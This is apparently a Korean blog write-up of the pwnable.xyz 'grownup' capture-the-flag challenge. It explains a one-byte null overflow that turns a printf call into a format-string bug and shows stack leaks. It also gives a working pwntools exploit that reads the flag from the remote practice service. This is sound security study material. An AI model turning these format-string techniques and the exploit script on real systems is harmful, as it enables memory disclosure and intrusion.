[pwnable.xyz] Grownup write up
pwnable.xyz 의 5번째 문제 grownup 문제이다.
Analyze
이번 문제의 사용자 정의 함수를 보면 특별한 함수는 없어 보인다.
$ func GrownUpRedist
b handler
b main
b setup
gdb로 main 함수를 분석하여 c 코드로 나타내면 아래와 같다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char a[16];
char tmp;
printf("Are you 18 years or older? [y/N]:");
read(0, a, sizeof(a));
switch (a[0]){
case 'y':
tmp = malloc(0x84); // &tmp = 0x602260
printf("Name: ");
read(0, tmp , 0x80); // 문자열 끝에 null을 붙이지 않음
strcpy(usr, tmp) // &usr = 0x6010e0
printf("Welcome ")
printf(&usr[32], usr); // usr[32] = 0x601160
break;
case 'N':
break;
}
}
위 코드를 분석하면 첫번째 입력에서 16bytes 만큼 입력이 가능하고, tmp에 0x84 만큼 할당했다.
read 함수로 tmp 변수에 0x80 만큼 입력한다.
이때 read 함수는 문자열 끝에 NULL 을 붙이지 않는다.
tmp 값을 usr에 strcpy 하는데, 이때 usr 맨 끝에 NULL 을 붙인다. 사실상 0x81 크기를 usr에 strcpy 하는 것이다. (1byte overflow)
여기서 집고 넘어가야 할 점은 변수의 주소들 이다.
usr address: 0x6010e0
tmp address: 0x602260
15번째 줄에 usr[32] 주소를 참조 하고 있는데, 해당 주소를 따라가면 최종적으론 "%s\n" 값이 출력된다.
gdb-peda$ x/x 0x601160
0x601160 <usr+128>: 0x68
gdb-peda$ x/s 0x601168
0x601168 <usr+136>: "%s\n"
다른 변수가 있는지 확인을 위해 gdb로 프로그램을 run 하기 전 info variables 명령어로 다른 변수들을 찾는다.
gdb-peda$ info variables
All defined variables:
Non-debugging symbols:
0x00000000004009f0 _IO_stdin_used
...
...
0x0000000000601080 flag
...
...
0x00000000006010e0 usr
0x0000000000601170 _end
gdb-peda$
usr 외에 flag라는 변수가 존재하는 것을 볼 수 있다.
flag address: 0x601080
flag에 값을 확인하면 아래처럼 해당 주소에 답이 있다는 것을 알려주는 것을 알 수 있다.
gdb-peda$ x/s 0x601080
0x601080 <flag>: "FLAG{_the_real_flag_will_be_here_}"
gdb-peda$
위 정보를 토대로 메모리 구조를 그림으로 표현하면 아래와 같다.
위 그림을 보면 0x601160 - 0x6010e0 = 0x80 임을 알 수 있다.
즉 tmp에서 0x80 크기 만큼 값을 입력하고, strcpy() 함수로 인해 0x80 만큼(0x6010e0 ~ 0x60115f) 값을 채운 뒤 NULL 문자를 삽입하기 된다. (최종적으론 0x81 크기)
그렇게 된다면 0x601160 값은 0x00 이 되고 printf 과정에서 0x601160 => 0x601100 주소의 값을 출력하게 된다.
printf 할때 서식 문자를 사용하지 않았기 때문에 Format string 공격이 가능해 진다.
Format string 공격에 대한 자세한 공격 방법은 아래 사이트를 참고하길 바란다.
0x601100 주소는 usr+32 에 위치하고 있으므로,
tmp 변수에 [Dummy(32bytes)] + "%p " * 32 값을 넣는다.
$ ./GrownUpRedist
Are you 18 years or older? [y/N]: y
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Welcome 0x6010e0 0x7ffff7dd18c0 (nil) 0x8 0x4141414141414141 0x2f7de59a0 0x602260 0x79 (nil) 0x7fffffffe630 0x615c563a4878a00 0x400970 0x7ffff7a05b97 0x1 0x7fffffffe638 0x100008000 0x400865 (nil) 0x5f622ce8375807ac 0x4006e0 0x7fffffffe630 (nil) (nil) 0xa09dd397ef7807ac 0xa09dc328932607ac 0x7fff00000000 (nil) (nil) 0x7ffff7de5733 0x7ffff7dcb638 0x6b619 (nil) ubuntu:~/environment/ctf/pwnable.xyz/05_growup $
위 처럼 스택의 값이 leak 된것을 볼 수 있다.
그런데 출력된 값에서
Welcome 0x6010e0 0x7ffff7dd18c0 (nil) 0x8 0x4141414141414141 0x2f7de59a0 0x602260 0x79 (nil)
0x79 값이 보인다. 이는 맨처음에 사용자가 입력한 'y' 이다. 스택에 사용자가 입력한 값이 존재하는 것을 볼 수 있다.
위에 c코드로 설명했듯이 사용자 입력은 16bytes 만큼 입력이 가능하다.
이를 이용하여 "y" + "A"*7 + "B" * 7 이렇게 입력하면 어떻게 될까?
ubuntu:~/environment/ctf/pwnable.xyz/05_growup $ ./GrownUpRedist
Are you 18 years or older? [y/N]: yAAAAAAABBBBBBB
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Welcome 0x6010e0 0x7ffff7dd18c0 (nil) 0x8 0x4141414141414141 0x10f7de59a0 0x602260 0x4141414141414179 0x42424242424242 0x7fffffffe630 0xcb3fa7fc19651900 0x400970 0x7ffff7a05b97 0x1 0x7fffffffe638 0x100008000 0x400865 (nil) 0x2afe879911cd106d 0x4006e0 0x7fffffffe630 (nil) (nil) 0xd50178e6c9ed106d 0xd5016859b5b3106d 0x7fff00000000 (nil) (nil) 0x7ffff7de5733 0x7ffff7dcb638 0x6b613 (nil)
Welcome 0x6010e0 0x7ffff7dd18c0 (nil) 0x8 0x4141414141414141 0x10f7de59a0 0x602260 0x4141414141414179
0x42424242424242 0x7fffffffe630
9번째에 7개의 B가 들어간 것을 볼 수 있다.
이곳에 flag 변수의 주소를 넣은 다음에 서식문자 %s를 이용하여 flag 값을 문자로 출력하면 된다.
Payload
필자는 공격을 쉽게 하기 위해 flag-$ 을 이용하여 %9$s 서식문자를 넣어 9번째에 있는 스택의 주소를 pop 했다.
from pwn import *
p = remote("svc.pwnable.xyz" , 30004)
flag_addr = 0x601080
select = "y" + "A"*7 + p32(flag_addr)
p.sendline(select)
payload = "A" * 32
payload += "%9$s "
payload += "A" * (0x80 - len(payload))
p.sendline(payload)
p.interactive();
ubuntu:~/environment/ctf/pwnable.xyz/05_growup $ python poc.py
[+] Opening connection to svc.pwnable.xyz on port 30004: Done
[*] Switching to interactive mode
Are you 18 years or older? [y/N]: Name: Welcome FLAG{-------------------------} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[*] Got EOF while reading in interactive
$
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] free spirit write up (0) | 2020.01.27 |
---|---|
[pwnable.xyz] note write up (0) | 2020.01.25 |
[pwnable.xyz] two targets write up (0) | 2020.01.02 |
[pwnable.xyz] xor write up (0) | 2020.01.01 |
[pwnable.xyz] misalignment write up (0) | 2020.01.01 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] free spirit write up
[pwnable.xyz] free spirit write up
2020.01.27 -
[pwnable.xyz] note write up
[pwnable.xyz] note write up
2020.01.25 -
[pwnable.xyz] two targets write up
[pwnable.xyz] two targets write up
2020.01.02 -
[pwnable.xyz] xor write up
[pwnable.xyz] xor write up
2020.01.01